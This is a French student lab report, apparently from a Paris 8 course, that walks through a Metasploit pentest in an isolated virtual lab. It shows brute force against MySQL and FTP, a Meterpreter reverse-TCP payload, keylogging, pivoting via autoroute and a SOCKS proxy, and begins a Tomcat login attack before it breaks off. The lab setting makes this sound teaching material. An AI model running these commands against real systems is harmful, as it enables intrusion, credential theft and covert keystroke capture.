🔒 Virtual Lab - Pentest avec Metasploit

Rapport académique sur la sécurité offensive et les tests d'intrusion

đŸ›Ąïž CybersĂ©curitĂ© 🔍 Pentest ⚙ Metasploit 🌐 pfSense đŸ–„ïž Virtual Lab
Photo de l’auteur
5 min read ‱ ‱

📋 À propos du projet

J'ai réalisé ce projet dans le cadre de ma seconde année de licence informatique sous la direction du Professeur Philippe KISLIN, Enseignant-Chercheur en Informatique à l'IED (Institut d'Enseignement à Distance) de l'Université Paris 8 Vincennes.
Sur cette page, je présente les étapes de mise en place de mon laboratoire virtuel complet de test d'intrusion utilisant le Framework Metasploit. Le projet démontre une méthodologie professionnelle de pentest, de la reconnaissance réseau à l'exploitation avancée avec la création d'une route (pivoting).

🎯 Objectifs du projet

  • Mettre en place un environnement virtuel sĂ©curisĂ© pour les tests d'intrusion
  • Configurer un pare-feu pfSense avec rĂšgles de filtrage personnalisĂ©es
  • Exploiter des vulnĂ©rabilitĂ©s avec Metasploit Framework
  • RĂ©aliser des attaques avancĂ©es (pivoting, pass-the-hash, brute force)
  • Documenter les techniques d'exploitation et recommandations de sĂ©curitĂ©

🎓 CompĂ©tences dĂ©veloppĂ©es

  • Reconnaissance rĂ©seau : Nmap, arp-scan, Ă©numĂ©ration de services
  • Exploitation de vulnĂ©rabilitĂ©s : Metasploit, attaques brute force, exploitation MySQL
  • Post-exploitation : Meterpreter, extraction de hash, pass-the-hash
  • Techniques avancĂ©es : Pivoting, proxy SOCKS, routage rĂ©seau
  • Craquage de mots de passe : John the Ripper, analyse de hashes
  • Configuration pare-feu : pfSense, rĂšgles de filtrage, segmentation rĂ©seau
  • AccĂšs Ă  distance : RDP, FTP, contrĂŽle graphique

🎯 PrĂ©sentation du Metasploit Framework

Metasploit n’est pas simplement un outil, c’est un vĂ©ritable framework dĂ©veloppĂ© Ă  l’origine par H.D. Moore en 2003. Son objectif Ă©tait de faciliter le travail des professionnels de la cybersĂ©curitĂ© en automatisant les tĂąches rĂ©pĂ©titives liĂ©es aux tests d’intrusion, notamment la crĂ©ation, l’adaptation et l’exĂ©cution d’exploits. Au lieu de repartir de zĂ©ro Ă  chaque test, Metasploit permet de gagner un temps prĂ©cieux en rĂ©utilisant des modules prĂ©existants.

Le framework, initialement Ă©crit en Perl puis réécrit en Ruby, a connu un grand succĂšs dans la communautĂ© de la cybersĂ©curitĂ©. Il a Ă©tĂ© par la suite acquis par la sociĂ©tĂ© Rapid7, spĂ©cialisĂ©e dans l’analyse de vulnĂ©rabilitĂ©s.

Aujourd’hui, Metasploit contient plus de 2 400 modules d’exploits, ainsi que de nombreux modules destinĂ©s aux phases prĂ© et post-exploitation. Il permet non seulement de sĂ©lectionner des attaques selon le contexte (grĂące Ă  une vaste bibliothĂšque en ligne), mais aussi de crĂ©er des scripts personnalisĂ©s pour automatiser certaines Ă©tapes complexes du pentest.

En rĂ©sumĂ©, Metasploit est un vĂ©ritable couteau suisse du test d’intrusion, capable d’accompagner un pentesteur du dĂ©but Ă  la fin de son audit de sĂ©curitĂ©.

🎯 Installation de Metasploit Framework

D’aprĂšs les consignes prĂ©sentes sur le dĂ©pĂŽt GitHub du framework 4, en plus d’avoir installĂ© un logiciel de virtualisation (nous avons retenu VirtualBox), il sera nĂ©cessaire d’installer les Ă©lĂ©ments suivants:

Une fois ces éléments installés, nous avons procédé comme suit pour mettre en place notre environnement:

âŹ…ïž Revenir au menu du rapport

⚙ Configuration rĂ©seau de l'environnement virtuel

Dans cette section, nous allons prĂ©senter les diffĂ©rentes Ă©tapes qui nous ont permis de mettre en place un rĂ©seau local entre les machines virtuelles Ubuntu 14.04 et Windows 2008, ainsi qu’une connexion internet entre les machines Windows 2008 et Kali Linux.

On utilisera le routeur gratuit Pfsense pour réaliser notre configuration réseau.

⚙ Configuration du rĂ©seau privĂ© et du rĂ©seau interne dans Virtualbox

Notre objectif est de mettre en place deux réseaux virtuels distincts dans VirtualBox afin de simuler un scénario de segmentation réseau :

Dans VirtualBox, l’outil Network Manager (menu Fichier > Gestionnaire de rĂ©seau) permet de visualiser les rĂ©seaux Host-only. On constate ici deux rĂ©seaux dĂ©finis :

Ce laboratoire utilisera le premier réseau (10.10.10.128/24) pour relier la machine attaquante, la machine pivot et pfSense sur son interface LAN.

Figure 9 – Configuration Host-only dans VirtualBox
Figure 10 – Adresse manuelle du rĂ©seau privĂ© hĂŽte

⚙ Configuration rĂ©seau des machines cibles

1. Windows Server 2008 : Le Pivot

La machine pivot Windows Server 2008 est présente à la fois sur le réseau interne intnet (Adaptateur 2), dédié à la communication avec la machine Ubuntu 14.04, et sur le réseau relié à Internet Réseau privé hÎte (Adaptateur 1 :VirtualBox Host-Only Ethernet Adapter) , utilisé pour la communication avec Kali Linux et pfSense (IP dans le sous-réseau 10.10.10.0/24).

Figure 11 – Adaptateur 1 - RĂ©seau privĂ© hĂŽte (Windows 2008)
Figure 12 – Adaptateur 2 - RĂ©seau interne (Windows 2008)

La configuration réseau de la machine virtuelle Windows Server 2008 a été réalisée en accédant au Centre Réseau et Partage depuis le menu Démarrer, puis en modifiant les paramÚtres IPv4 de chaque adaptateur réseau.

Les adresses attribuées sont les suivantes:

Figure 13 – Centre RĂ©seau et Partage sous Windows Server 2008
Figure 14 – Statut de la connexion rĂ©seau — Adaptateur 1 (RĂ©seau privĂ© hĂŽte)
Figure 15 – PropriĂ©tĂ©s de la connexion rĂ©seau - Adaptateur 1 (RĂ©seau privĂ© hĂŽte)
Figure 15 – Configuration IPv4 — Adaptateur 1 (10.10.10.2/24, passerelle 10.10.10.128)
Figure 16 – Statut de la connexion rĂ©seau - Adaptateur 2 (RĂ©seau interne)
Figure 16 – Configuration IPv4 — Adaptateur 2 (192.168.100.2/24)

2. Ubuntu 14.04 : Machine cible ( réseau interne)

La machine Ubuntu 14.04 est connectée uniquement au réseau interne, intnet (Adaptateur 1 : Réseau interne), pour échanger exclusivement avec Windows Server 2008.

Figure 17 – Adaptateur rĂ©seau interne sur Ubuntu 14.04

La configuration rĂ©seau de la machine Ubuntu 14.04 a Ă©tĂ© effectuĂ©e uniquement pour l’adaptateur rĂ©seau interne (intnet), destinĂ© Ă  communiquer avec Windows Server 2008 via l’adresse IP 192.168.100.3/24.

Pour réaliser ce paramétrage, nous avons modifié le fichier de configuration des interfaces réseau en exécutant la commande suivante dans le terminal :

bash
$ sudo nano /etc/network/interfaces
            

Le contenu du fichier /etc/network/interfaces a été défini comme suit:

bash
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.100.3
netmask 255.255.255.0
            
Figure 18 – Connexion à la machine Ubuntu 14.04 et ouverture du fichier /etc/network/interfaces
Figure 19 – Configuration IPv4 statique dans /etc/network/interfaces (192.168.100.3/24)

⚙ Configuration rĂ©seau de la machine attaquante

1. Kali Linux: Machine attaquante

La machine attaquante Kali Linux est reliée exclusivement au Réseau privé hÎte (Adaptateur 1: VirtualBox Host-Only Ethernet Adapter), pour communiquer avec Windows Server 2008 et pfSense (IP dans le sous-réseau 10.10.10.0/24).

Figure 20 – Interface rĂ©seau privĂ©e hĂŽte sur Kali Linux

Le paramĂ©trage de l’adresse IP a Ă©tĂ© effectuĂ© directement depuis le terminal Ă  l’aide de la commande:

bash
$ sudo ip addr add 10.10.10.100/24 dev eth0

Cette configuration permet Ă  Kali Linux de disposer d’une adresse fixe 10.10.10.100/24 sur son interface eth0, utilisĂ©e pour initier les attaques vers la machine pivot Windows Server 2008.

âŹ…ïž Revenir au menu du rapport

đŸ›Ąïž Organisation du rĂ©seau avec Pare-feu et routeur open source

Le pare-feu pfSense a été développé sous le systÚme d'exploitation FreeBSD par Chris Buechler et Scott Ullrich. Il s'agit d'une solution de sécurité entiÚrement gratuite et qui d'aprÚs le site officiel, a démontré sa robustesse face à de nombreuses solutions commerciales.

On utilisera donc pfSense comme routeur pour réaliser notre configuration réseau.

⚙ Installation et configuration de pfSense

Nous utilisons pfSense en mode ligne de commande, l’interface graphique Ă©tant difficilement exploitable depuis Windows Server 2008 R2 Standard.

1. Téléchargement et installation

Nous commençons par télécharger l'ISO d'installation depuis le site officiel

Figure 21 – TĂ©lĂ©chargement de pfSense depuis le site officiel

AprĂšs extraction des fichiers tĂ©lĂ©chargĂ©s, nous crĂ©ons une nouvelle machine virtuelle dans VirtualBox. Nous sĂ©lectionnons le type BSD, sous-type FreeBSD (64-bit), et attachons l’image ISO comme disque d’amorçage.

Figure 22 – CrĂ©ation de la machine virtuelle pfSense dans VirtualBox

Lors du premier dĂ©marrage, l’installateur Netgate se lance. Nous acceptons les conditions de licence.

Figure 23 – Chargement de l’image ISO et lancement de l’installation

Une fois l’installation terminĂ©e, nous retirons l’ISO puis avant de redĂ©marrer la machine virtuelle, nous paramĂ©trons son rĂ©seau WAN et LAN.
La machine pfSense joue le rÎle de routeur et pare-feu, avec une double connectivité:

Figure 24 – WAN pfSense — NAT Network
Figure 24 – LAN pfSense — Host-Only

On redémarre la machine virtuelle et l'interface de commande de pfSense apparaßt.

Figure 24 – Menu principal de configuration console pfSense

2. ParamĂ©trage de l’interface WAN

Nous accĂ©dons au menu console et choisissons l’option 2: Set interface(s) IP address, puis sĂ©lectionnons WAN (em0). Nous dĂ©sactivons le DHCP (n) et configurons l’adresse IPv4 statique 192.168.148.128/24 avec comme passerelle 192.168.148.2, dĂ©finie comme passerelle par dĂ©faut (y).

Figure 25 – Configuration IPv4 statique sur l’interface WAN

AprĂšs validation, pfSense applique la configuration et confirme que l’adresse IPv4 du WAN est bien dĂ©finie sur 192.168.148.128/24

Figure 26 – Confirmation de l’adresse IPv4 sur l’interface WAN

3. ParamĂ©trage de l’interface LAN

Nous procĂ©dons ensuite Ă  la configuration de l’interface LAN (em1) depuis le mĂȘme menu console. Nous choisissons de ne pas utiliser le DHCP (n) pour l’adresse IPv4 et attribuons l’adresse statique 10.10.10.128/24. La passerelle IPv4 reste 10.10.10.128 et nous la dĂ©finissons comme passerelle par dĂ©faut (y).

Figure 27 – SĂ©lection de l’interface LAN dans pfSense

Nous dĂ©sactivons IPv6 (n) puis activons le serveur DHCP sur le LAN (y) avec une plage d’adresses allant de 10.10.10.100 Ă  10.10.10.200. AprĂšs validation, pfSense applique la configuration et confirme que l’adresse IPv4 du LAN est bien dĂ©finie sur 10.10.10.128/24.

Figure 28 – Configuration IPv4 statique et DHCP sur le LAN et Confirmation de l’adresse IPv4 sur l’interface LAN

⚙ DĂ©finition des rĂšgles personnalisĂ©es en ligne de commande

Les rÚgles que nous avons mises en place pour le routeur pfSense sont inspirées de celles proposées par Dustin Noe dans son article sur VyOS 11.

Lors du paramétrage des interfaces réseau de pfSense, nous avons défini:

Les machines Windows Server 2008 et Ubuntu 14.04 sont toutes deux connectées derriÚre le pare-feu pfSense, sur le réseau LAN.

1. Filtrage du trafic entrant

Pour le trafic entrant, le pare-feu autorise:

En revanche, tout autre trafic entrant est bloqué, de maniÚre à forcer tout passage par le routeur, qui joue alors pleinement son rÎle de point de contrÎle central du réseau.

2. Filtrage du trafic sortant

Pour le trafic sortant, le pare-feu autorise:

Tout autre trafic sortant est bloqué, afin de limiter les flux non contrÎlé sortant du réseau LAN

Figure 30 – Configuration des rùgles de trafic entrant et sortant sur la machine pfSense

Ces rĂšgles de pare-feu permettent de:

Il est possible d’ajouter manuellement des rĂšgles dans le fichier /etc/pf.conf. AprĂšs avoir Ă©crit ou modifiĂ© ce fichier, on recharge les rĂšgles avec:

bash
$ pfctl -f /etc/pf.conf
            
Figure 31 – Chargement des nouvelles rùgles de trafic entrant et sortant sur la machine pfSense

Les rĂšgles dĂ©finies dans /etc/pf.conf ne sont pas celles utilisĂ©es par pfSense En effet, avec pfSense, les rĂšgles configurĂ©es via l’interface web ne sont pas stockĂ©es dans /etc/pf.conf. Elles sont en rĂ©alitĂ© gĂ©nĂ©rĂ©es dynamiquement Ă  partir du fichier /conf/config.xml, et chargĂ©es automatiquement via les outils internes de pfSense. Cela signifie que:

âŹ…ïž Revenir au menu du rapport

🔍 Arp-scan: DĂ©couverte du rĂ©seau

1. Découverte du réseau avec arp-scan

L’outil arp-scan permet d’identifier les hĂŽtes actifs sur un rĂ©seau local en envoyant des requĂȘtes ARP. Cette analyse fournit, pour chaque machine dĂ©tectĂ©e, son adresse IP ainsi que son adresse MAC. Selon la documentation officielle, cet outil est particuliĂšrement utile pour dĂ©tecter des hĂŽtes qui pourraient ne pas rĂ©pondre aux sondes ICMP ou TCP classiques.

bash
$ sudo arp-scan -l
            
Figure 32 – Analyse du rĂ©seau avec Arp-scan

D’aprĂšs les rĂ©sultats, l’adresse 10.10.10.2 correspond Ă  une machine prĂ©sente sur le rĂ©seau, tandis que l’adresse 10.10.10.128semble ĂȘtre celle du routeur, ce qui est suggĂ©rĂ© par les mentions (locally administered) et (DUP: 2).

âŹ…ïž Revenir au menu du rapport

⚙Lancement de Metasploit et 🔍Scan de reconnaissance avec Nmap

1. ⚙ Metasploit: Prise en main

Lors du premier lancement de Metasploit, il est recommandĂ© d’associer une base de donnĂ©es afin de pouvoir stocker les rĂ©sultats des analyses rĂ©seau et les rĂ©utiliser directement dans le framework. Pour cela, il faut dĂ©marrer le service PostgreSQL, puis initialiser la base avec les commandes suivantes:

bash
$ sudo systemctl start postgresql
bash
$ sudo msfdb init
Figure 33 – Initialisation de la base de donnĂ©es Metasploit

On peut ensuite lancer Metasploit à l’aide de la commande suivante:

bash
$ sudo msfconsole
Figure 34 – DĂ©marrage du framework Metasploit

2. 🔍Scan de reconnaissance avec Nmap

On vĂ©rifie l’état de la base de donnĂ©es avec:

bash
msf6 > db_status
Figure 35 – La base de donnĂ©e est active

Les options utilisées pour ce scan sont:

Le scan cible les ports 21, 22, 80, 443, 3306:

bash
msf6 > db_nmap -sS -sV -O -Pn -T1 -p 21,22,80,443,3306 10.10.10.2
Figure 36 – Scan des services de la machine 10.10.10.2 avec Nmap

D’aprĂšs les rĂ©sultats, le port 443 (HTTPS) est fermĂ©, tandis que les ports 21 (FTP), 22 (SSH), 80 (HTTP) et 3306 (MySQL) sont ouverts. Le systĂšme d’exploitation est possiblement un environnement Windows, cependant la version de cet environnement manque de prĂ©cision. Il pourrait s’agir de Windows Vista, Windows 7 ou de Windows Server 2008 R2.vg

Avant de poursuivre l’exploitation, l’attaquant doit confirmer la version exacte du systĂšme. Cette Ă©tape est essentielle pour sĂ©lectionner un payload compatible avec l’architecture et le service ciblĂ©.

3. Nature du systùme d’exploitation de la machine cible

La commande hosts permet au pirate de connaĂźtre le nom de la machine cible.

bash
msf6 > hosts
Figure 37 – DĂ©couverte du nom et du systĂšme d'exploitation Ă  l'aide de la commande hosts

4. Découverte des vulnérabilités de la machine cible

La commande services permet au pirate de connaĂźtre le status des principaux ports de communications de la machine cible

bash
msf6 > services
Figure 38 – DĂ©couverte du nom et du systĂšme d'exploitation Ă  l'aide de la commande services

La commande hosts et la commande services nous rĂ©vĂšle que l’ordinateur tourne sous Windows 2008 Server et que des infiltrations pour ĂȘtre rĂ©alisĂ©s sur:

Le Hacker se dĂ©cide en faveur d’une infiltration du systĂšme en tentant de deviner les identifiants du serveur MySQL prĂ©sent sur le port 3306.

Accùs au terminal de commandes de l’ordinateur cible

1. Paramétrage et lancement du module mysql_login

Avec la commande use, l’attaquant sĂ©lectionne le module mysql_login, utilisĂ© pour rĂ©aliser une attaque par brute force sur le serveur MySQL.

bash
msf6 > use auxiliary/scanner/mysql/mysql_login

La commande show options affiche les paramĂštres configurables du module.

bash
msf6 > show options
Figure 39 – Utilisation du module mysql_login

Il y a 4 paramĂštres dont on doit tenir compte ici:

bash
msf6 auxiliary(scanner/mysql/mysql_login)> set PASS_FILE /usr/share/wordlists/fasttrack.txt
msf6 auxiliary(scanner/mysql/mysql_login)> set RHOSTS 10.10.10.2
msf6 auxiliary(scanner/mysql/mysql_login)> set THREADS 10
msf6 auxiliary(scanner/mysql/mysql_login)> set verbose false
msf6 auxiliary(scanner/mysql/mysql_login)> exploit
Figure 40 – Utilisation du module mysql_login

D’aprĂšs les rĂ©sultats, l’attaque par BruteForce est un succĂšs : l’utilisateur est root et aucun mot de passe n’est configurĂ©. Le manque de vigilance de l’administrateur de la machine cible offre une porte dĂ©robĂ©e au hackeur.

La commande creds permet d’afficher de maniĂšre synthĂ©tique les identifiants rĂ©cupĂ©rĂ©s.

bash
msf6 auxiliary(scanner/mysql/mysql_login)> creds
Figure 41 – Affichage des informations d’identification avec la commande creds

2. Paramétrage et lancement du module mysql_udf_payload

Maintenant que l’attaquant dispose des identifiants, il peut exploiter le service MySQL pour exĂ©cuter du code sur la machine cible. Le module mysql_udf_payload permet d’injecter une fonction utilisateur (UDF) malveillante afin d’obtenir un accĂšs Meterpreter.

Les paramĂštres essentiels sont:

bash
msf6 auxiliary(scanner/mysql/mysql_login)> back
msf6 > use exploit/multi/mysql/mysql_udf_payload
msf6 exploit(multi/mysql/mysql_udf_payload) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/mysql/mysql_udf_payload)> set LHOST 10.10.10.100
msf6 exploit(multi/mysql/mysql_udf_payload)> set lport 443
msf6 exploit(multi/mysql/mysql_udf_payload)> set RHOSTS 10.10.10.2
msf6 exploit(multi/mysql/mysql_udf_payload)> set PASSWORD ""
msf6 exploit(multi/mysql/mysql_udf_payload)> exploit
Figure 42 – Utilisation du module mysql_udf_payload
Figure 43 – Utilisation du module mysql_udf_payload

GrĂące Ă  l’exploitation rĂ©ussie du compte admin MySQL, l’attaquant accĂšde Ă  une session Meterpretrer qui reprĂ©sente un shell inversĂ© lui permettant de contrĂŽlĂ© la machine cible Ă  distance.

Figure 44 – Accùs par le hacker à une session Meterpreter
âŹ…ïž Revenir au menu du rapport

🌐 Meterpreter: Payload avancĂ©

AprĂšs avoir obtenu une session Meterpreter, l’attaquant cherche Ă  recueillir davantage d’informations sur le systĂšme compromis. Il utilise pour cela plusieurs commandes clĂ©s:

bash
meterpreter > screenshot
            
Figure 45 – Capture d’écran obtenue via Meterpreter
Figure 46 – Capture d’écran obtenue via Meterpreter
bash
meterpreter > sysinfo
            
bash
meterpreter > sysinfo
            
Figure 47 – Informations systĂšme rĂ©cupĂ©rĂ©es avec sysinfo

La sortie indique que le systĂšme d’exploitation est Windows Server 2008 R2 x64, que le nom de l’ordinateur est VAGRANT-2008R2, que la langue est en-US et que le domaine est WORKGROUP. Deux utilisateurs sont connectĂ©s, et le Meterpreter utilise un payload x86, ce qui n’empĂȘche pas son exĂ©cution sur une architecture 64 bits.

L’attaquant souhaite ensuite installer un keylogger, c’est-Ă -dire un enregistreur des frappes clavier, afin de collecter des informations sensibles. Pour ce faire, il doit d’abord injecter son payload dans un processus actif de la mĂ©moire vive.

bash
meterpreter > ps explorer
            
Figure 48 – Liste des processus via ps

Le processus, explorer.exe (PID 976) est sĂ©lectionnĂ© car il reste actif tant que l’utilisateur est connectĂ©, il a pour mission de charger le menu dĂ©marrer et la barre des tĂąches. Il s'occupe Ă©galement de gĂ©rer le bureau et le papier peint.

bash
meterpreter > migrate 976
            
Figure 49 – Migration du payload vers explorer.exe
bash
meterpreter > run post/windows/capture/keylog_recorder
            
Figure 50 – DĂ©marrage du keylogger

Les donnĂ©es capturĂ©es rĂ©vĂšlent la rĂ©daction d’un document interne contenant des informations cruciales:

Figure 51 – Frappes clavier capturĂ©es
bash
meterpreter > ipconfig
              
Figure 52 – Affichage des interfaces rĂ©seau de la machine cible

L’exĂ©cution de ipconfig confirme la prĂ©sence d’un rĂ©seau interne cachĂ©, accessible depuis la machine compromise, dont l’adresse IP est 192.168.100.2.

âŹ…ïž Revenir au menu du rapport

🔍 ANALYSE DU RESEAU MASQUE ET MISE EN PLACE D'UN PIVOT 🌐

L’attaquant met la session Meterpreter en arriĂšre-plan afin de poursuivre l’analyse du rĂ©seau interne.

bash
meterpreter > background
            

1. 🔍 Scan du rĂ©seau masquĂ© avec arp_scanner

D’aprĂšs la documentation officielle Rapid7, ce module effectue une dĂ©couverte ARP pour dĂ©couvrir les hĂŽtes d’un rĂ©seau local Ă  partir d’une session Meterpreter. Comme l’outil arp-scan vu prĂ©cĂ©demment, arp-scanner permet d’identifier les hĂŽtes actifs sur un rĂ©seau local en envoyant des requĂȘtes ARP et fournira pour chaque machine dĂ©tectĂ©e, son adresse IP ainsi que son adresse MAC.

bash

msf6 > use post/windows/gather/arp_scanner
msf6 post(windows/gather/arp_scanner) > set SESSION 1
msf6 post(windows/gather/arp_scanner) > set RHOSTS 192.168.100.2/24
msf6 post(windows/gather/arp_scanner) > run
            
Figure 53 – DĂ©couverte du rĂ©seau interne avec arp_scanner

Le scan rĂ©vĂšle l’existence d’une machine interne supplĂ©mentaire (192.168.100.3), confirmant les informations obtenues grĂące au keylogger.

Pour accĂ©der Ă  cette machine, qui se trouve sur un rĂ©seau diffĂ©rent, l’attaquant devra:

2. 🌐 CrĂ©ation d’une route entre la machine attaquante et la machine cachĂ© via la machine compromise

Le hacker utilisera les modules autoroute et stock_proxy.

Selon Rapid7 , le module autoroute permet de gĂ©rer le routage des sessions via une session Meterpreter existante. Il permet l’utilisation d’un hĂŽte compromis comme passerelle pour atteindre d’autres sous-rĂ©seaux auxquels l’attaquant n’a normalement pas accĂšs. On appelle cette mĂ©thode le « pivoting ».

En clair, nous allons atteindre la machine cachĂ©e sur le rĂ©seau interne de l’entreprise en crĂ©ant une route depuis la machine compromise car c’est elle qui possĂšde une connexion internet avec la machine cible.

Pour mener Ă  bien la mise en place de cette liaison, il nous faudra configurer le module autoroute avec les informations suivantes:

bash

msf6 post(windows/gather/arp_scanner) > back
mfs6 > use post/multi/manage/autoroute
mfs6 post(multi/manage/autoroute) > show options
mfs6 post(multi/manage/autoroute) > sessions
            
Figure 55 – CrĂ©ation d’une route avec autoroute
bash

mfs6 post(multi/manage/autoroute) > set SESSION 1
mfs6 post(multi/manage/autoroute) > set SUBNET 192.168.0.0
mfs6 post(multi/manage/autoroute) > set NETMASK /16
mfs6 post(multi/manage/autoroute) > set run
            
Figure 56 – Configuration de la route avec autoroute

L’option Autoadd recherche les sous-rĂ©seaux valides dans la table de routage et la liste des interfaces de la session compromise, puis leur ajoute des routes. Ainsi, on obtient deux routes principales:

Avant de dĂ©marrer la configuration du proxy, on s’assure avec la commande ‘route print’ que la route permettant la connexion vers la machine Windows 2008 a bien Ă©tĂ© ajoutĂ©e Ă  la table de routage ainsi que celle permettant l’accĂšs au rĂ©seau cachĂ©.

bash
mfs6 auxiliary(server/socks_proxy) > route print
            
Figure 57 – CrĂ©ation effective des deux routes

Les deux routes sont bien présentes dans la table de routage on peut donc passer à la création du SOCKS_proxy.

Selon les auteurs de l’ouvrage Metasploit 2nd Edition, il est dĂ©conseillĂ© d’installer et d’exĂ©cuter Nmap directement sur la machine compromise (ici Windows Server 2008), car cela pourrait attirer l’attention de l’administrateur du systĂšme et rĂ©vĂ©ler la prĂ©sence de l’attaquant.

Pour Ă©viter ce risque, il est prĂ©fĂ©rable d’utiliser le protocole SOCKS combinĂ© Ă  ProxyChains afin de faire transiter l’analyse Nmap depuis la machine attaquante (Kali Linux), Ă  travers l’hĂŽte compromis, vers le rĂ©seau interne ciblĂ©.

bash

msf6 post(multi/manage/autoroute) > back
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > options
            
Figure 58 – Lancement du module socks_proxy

Avant de lancer le module, l’attaquant doit configurer les paramĂštres du protocole SOCKS qui est particuliĂšrement utile pour rediriger du trafic TCP et UDP via un serveur intermĂ©diaire vers une autre adresse IP. Nous ne modifirons que le paramĂštre suivant:

bash

msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > run
            
Figure 59 – Configuration du serveur proxy avec socks_proxy

Selon Metasploit 2nd Edition, l’outil ProxyChains est recommandĂ© comme client SOCKS afin de permettre Ă  la machine attaquante de se connecter au serveur proxy que l’attaquant vient de configurer.

Pour déclarer les paramÚtres du client SOCKS, il faut modifier le fichier proxychains4.conf 16 situé dans le répertoire /etc.

bash

msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > run
            
Figure 60 – Ouverture du fichier proxychains4.conf avec l’éditeur Nano
Figure 61 – Ajout de la ligne socks5 127.0.0.1 1080 aprùs les commentaires

Le serveur proxy Ă©coute maintenant par dĂ©faut sur le port 1080 de la machine attaquante. En utilisant l’outil Proxychains comme client avec Nmap, tout le trafic TCP et UDP gĂ©nĂ©rĂ© par Nmap passera par ProxyChains (via 127.0.0.1:1080) et sera acheminĂ© vers le serveur proxy sur l’hĂŽte compromis, puis redirigĂ© vers le rĂ©seau interne de l’entreprise.

Maintenant que la route est créée et que le serveur proxy est opĂ©rationnel, l’attaquant peut envisager de lancer une attaque brute force sur l’un des services de l’ordinateur cachĂ©.

âŹ…ïž Revenir au menu du rapport

🔍 Recherche de vulnĂ©rabilitĂ©s avant intrusion

Le hacker doit d’abord identifier les services vulnĂ©rables exposĂ©s par la machine cachĂ© avant de pouvoir exploiter l’un de ces services en rĂ©alisant une attaque brute force qui selon la CNIL consiste Ă  tester sĂ©quentiellement des couples composĂ©s d’un identifiant et d’un mot de passe sur l’invite de connexion d’un des services de la machine cachĂ©e.

En effet, les services du systĂšme d’exploitation sont accessibles via des ports et ces ports doivent ĂȘtre ouverts pour pouvoir ĂȘtre testĂ©s.

1. Recherche des vulnérabilités avec Nmap via Proxychains

Pour rĂ©aliser ce scanner des vulnĂ©rabilitĂ©s, le hacker lance Nmap via le client Proxychains depuis le terminal de commandes de Kali Linux Ă  l’aide de la commande suivante:

bash
$ sudo proxychains nmap -A -n -sT -Pn 192.168.100.3
                    

Selon nmap.org, l’option:

Ce scan volontairement bruyant a pour but d’évaluer l’état des 1000 ports TCP les plus couramment utilisĂ© sur une machine.

Figure 62 – Scan de la machine avec Nmap via Proxychains

Listes des vulnérabilités

D’aprùs l’extrait de scan, les ports TCP ouverts sont:

À l’issue de ce scan, le hacker semble avoir l’embarras du choix car plusieurs services courants sont ouverts. Il dĂ©cide donc de s’essayer Ă  une attaque par brute force sur le serveur FTP.

âŹ…ïž Revenir au menu du rapport

🔓 Tentative d'intrusion par Attaque Brute Force

1. Le serveur FTP est-il anonyme ?

Avant de lancer notre attaque brute force sur le serveur FTP, assurons-nous qu’il ne soit pas accessible en mode Anonyme.

Selon le site guide.ubuntu-fr.org, le mode Anonyme permet d’accĂ©der au serveur en s’identifiant avec un compte utilisateur dont les valeurs par dĂ©fauts sont : « anonymous » ou « ftp » pour le nom d’utilisateur et une adresse e-mail pour le mot de passe.

Nous utiliserons pour cela, le module ftp_version.

bash

msf6 auxiliary(server/socks_proxy) > back
msf6 auxiliary(server/socks_proxy) >
msf6 > use auxiliaryscanner/ftp/ftp_version
            

On configure ce module avec l’adresse Ip de notre cible:

bash

msf6 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.100.3
msf6 auxiliary(scanner/ftp/ftp_version) > run
            
Figure 63 – SĂ©lection du module ftp_version
Figure 64 – Configuration et lancement du module ftp_version

La sortie obtenue ne montre pas le message "FTP Anonymous login allowed". Le mode anonyme n’est pas activĂ© sur le serveur FTP.

Figure 65 – Le serveur FTP n’est pas anonyme

Le hacker devra donc procĂ©der avec la mĂ©thode brute force s’il souhaite obtenir les identifiants du serveur.

2. Attaque brute force sur le serveur FTP

Pour rĂ©aliser l’attaque par brute force, il faut d’abord sĂ©lectionner le dictionnaire de mots de passe qui sera utilisĂ© pour l’attaque.

Selon l’ouvrage Metasploit, 2nde Ă©dition, les dictionnaires sont disponibles dans le rĂ©pertoire /usr/share/wordlists, comme le montre la capture d’écran ci-dessous.

Figure 66 – RĂ©pertoire contenant les dictionnaires de mots de passe

On sĂ©lectionne comme indiquĂ© dans l’ouvrage le dictionnaire rockyou que l’on extrait de son archive compressĂ©e au format gz Ă  l’aide de la commande gunzip.

bash
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
Figure 67 – Extraction du dictionnaire rockyou de son archive

Dans msf6, nous allons maintenant sélectionner le module ftp_login et le configurer comme suit:

bash
msf6 auxiliary(scanner/ftp/ftp_version) > back
msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 192.168.100.3
msf6 auxiliary(scanner/ftp/ftp_login) > set USER_FILE
/usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/ftp/ftp_login) > set PASS_FILE
/usr/share/wordlists/rockyou.txt
Figure 68 – Configuration du module ftp_login de son archive

AprĂšs avoir configurĂ© le module, celui-ci est lancĂ© Ă  l’aide de la commande run:

bash
msf6 auxiliary(scanner/ftp/ftp_login) > run
Figure 69 – Lancement de l’attaque par brute force sur le serveur FTP

Les premiĂšres tentatives se soldent par un Ă©chec comme on peut le voir sur la capture d’écran ci-dessous.

Figure 70 – Échec des premiùres combinaisons identifiant/mot de passe

AprĂšs prĂšs de 48 heures d’exĂ©cution, l’attaquant se rĂ©sout Ă  abandonner, jugeant cette approche inefficace

Figure 71 – Abandon de l'attaque par Brute Force aprĂšs 48 heures d’exĂ©cution

L’idĂ©e retenue serait donc de tenter une attaque par brute force sur le serveur Tomcat.

3. Attaque Brute Force sur le serveur TomCat

Dans msf6, nous allons maintenant rechercher le module apache tomcat:

bash
msf6 auxiliary(scanner/ftp/ftp_login) > back
msf6 > search apache tomcat
msf6 > use auxiliary /scanner/http/tomcat_mgr_login
Figure 72 – Recherche du module Apache Tomcat dans Metasploit
Figure 73 – SĂ©lection du module tomcat_mgr_login
Figure 74 – Module prĂȘt Ă  ĂȘtre configurĂ©

et le configurer comme suit:

bash
msf6 auxiliary (scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.100.3
